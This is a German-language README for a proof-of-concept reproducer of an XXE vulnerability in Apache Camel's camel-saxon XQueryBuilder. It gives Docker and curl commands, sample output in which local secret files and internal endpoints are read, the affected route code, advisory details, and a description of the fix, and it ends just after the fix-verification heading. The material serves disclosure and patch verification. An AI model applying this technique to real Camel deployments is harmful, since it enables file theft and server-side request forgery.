
Lauffähiger Proof-of-Concept-Reproducer für CVE-2026-90885, eine XXE (CWE-611) in Apache Camel camel-saxon XQuery, mit Spring Boot- und Quarkus-Builds sowie Fix-Verifikation.
Source wurde mit Saxons Standardeinstellungen geparst (XXE)Lauffähiger Proof-of-Concept-Reproduzierer für die Apache-Camel-Schwachstelle, bei der XQueryBuilder in
camel-saxon — der Ausdrücke sowohl für die Sprache xquery als auch für die Komponente xquery
auswertet — seine Standard-Saxon-Configuration mit Parse-Optionen erstellte, die nur eine
Whitespace-Stripping-Regel enthielten, wodurch der XML-Parser bei seinen Standardeinstellungen blieb: Eine
DOCTYPE-Deklaration wird akzeptiert und externe Entitäten werden aufgelöst.
| Laufzeitumgebung | Verzeichnis | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Warum 4.22.1 für Spring Boot: Der Fix wurde erst nach dem Release von 4.22.1 auf
camel-4.22.xzurückportiert, sodass 4.22.1 die letzte betroffene Version dieser Linie und 4.22.2 die erste behobene ist. Das Festlegen auf 4.22.1 macht diese Grenze zum Kernpunkt des Reproduzierers.
String-, byte[]- und InputStream-Bodies werden von Camels eigenen XML-Typkonvertern in eine
javax.xml.transform.Source umgewandelt, die den Parser gegen externe Entitäten absichern — diese Bodies
waren nie betroffen. Ein Body, der bereits eine Source war, wurde unverändert an Saxon übergeben, und
eine stream-basierte Source muss noch geparst werden, sodass Saxon sie mit dieser Standard-Configuration
parste.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Auf einem betroffenen Build (identisch auf beiden Runtimes):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
Probe 5 ist der, der in der Praxis zählt. Der Absender sendet reinen XML-Text — die Body-Form, die
nicht betroffen ist, wie Probe 4 zeigt. Die Route führt dann convertBodyTo(Source.class) aus, bevor der Ausdruck
läuft, und allein das bringt den Body auf den betroffenen Pfad. Kein vom Angreifer erstelltes Source, keine ungewöhnliche
Komponente, keine Nicht-Standard-Option: ein gewöhnlicher Konvertierungsschritt in der Route ist die gesamte Voraussetzung. Die
Advisory benennt diesen Fall explizit, zusammen mit einer Komponente oder einem Prozessor früher in der Route, der den
Body auf ein stream-basiertes Source setzt.
Probes 1–3 sind derselbe Fehler, der erreicht wird, indem das Source direkt übergeben wird, was eine Komponente früher
in der Route tun würde.
Nichts ist falsch konfiguriert. Keine configuration-Option, keine Parser-Einstellungen, und der Ausdruck liest nichts:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
Der Angreifer kontrolliert nur das XML-Dokument, gegen das ausgewertet wird.
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-saxon (XQueryBuilder, verwendet von der xquery-Sprache und der xquery-Komponente) |
| CWE | CWE-611 (Improper Restriction of XML External Entity Reference) |
| Schweregrad | Hoch |
| Angriffsvektor | Ein DOCTYPE mit externer Teilmenge oder eine externe Entität in XML, das eine XQuery-Expression als bereits erstellte stream-basierte Source erreicht |
| Auswirkung | Lesen von Dateien, die für den Camel-Prozess lesbar sind; den Prozess dazu bringen, Anfragen an im Dokument benannte Hosts zu senden |
| Betroffene Versionen | Ab 4.0.0 vor 4.18.5, ab 4.19.0 vor 4.22.2 (der Codepfad ist älter als 4.0 und war in 2.x/3.x vorhanden) |
| Behobene Versionen | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Danksagung | Leon Zlobecki |
Advisory: https://camel.apache.org/security/CVE-2026-90885.html
Nicht dasselbe Problem wie CVE-2026-85250, das
documentType=InputSourceincamel-xpathbetraf und in 4.18.5, 4.22.1 und 4.23.0 behoben wurde. Beide sind Eingabepfade, die die Standard-Härtung des Parsers umgangen haben, aber es sind unterschiedliche Komponenten und keine der beiden Korrekturen deckt die andere ab — insbesondere behebt 4.22.1 CVE-2026-85250, aber nicht dieses Problem.
XQueryBuilder erstellt seine Standard-Configuration nun mit Parse-Optionen, die
disallow-doctype-decl aktivieren und external-general-entities, external-parameter-entities und
load-external-dtd deaktivieren, wodurch ein Source-Body mit dem gehärteten Parser in Einklang gebracht wird, den Camels XmlConverter bereits
auf String-, byte[]- und InputStream-Bodies angewendet hat.
Die Änderung ist sichtbar und ist im Upgrade-Leitfaden für 4.23 dokumentiert: Ein Body, der XQuery als
bereits erstellte Source erreicht und einen DOCTYPE enthält, wird nun mit einem Parse-Fehler abgelehnt, während Bodies ohne
DOCTYPE nicht betroffen sind.
Nur die Standard-Configuration wird gehärtet. Eine, die über die Option configuration des
Endpoints oder der Sprache oder über XQueryBuilder.setConfiguration bereitgestellt wird, wird unverändert verwendet — sodass ein Deployment, das
tatsächlich DOCTYPE- oder externe Entitätsverarbeitung benötigt, diese beibehalten kann, und ein Deployment, das seine eigene
Configuration aus einem anderen Grund bereitstellt, dieselben Parse-Optionen selbst anwenden muss.
Behoben auf main in apache/camel#26344
(9c23b686), zurückportiert auf camel-4.22.x in #26728
(0d0ed8bb) und auf camel-4.18.x in #26730 (ed513f3a).
Setzen Sie camel.version auf 4.22.2 (Spring Boot) oder beide Plattformversionen auf ein Camel Quarkus-Release, das
Camel 4.22.2 oder höher enthält, und führen Sie es erneut aus. Verifiziert mit 4.22.1 → 4.22.2: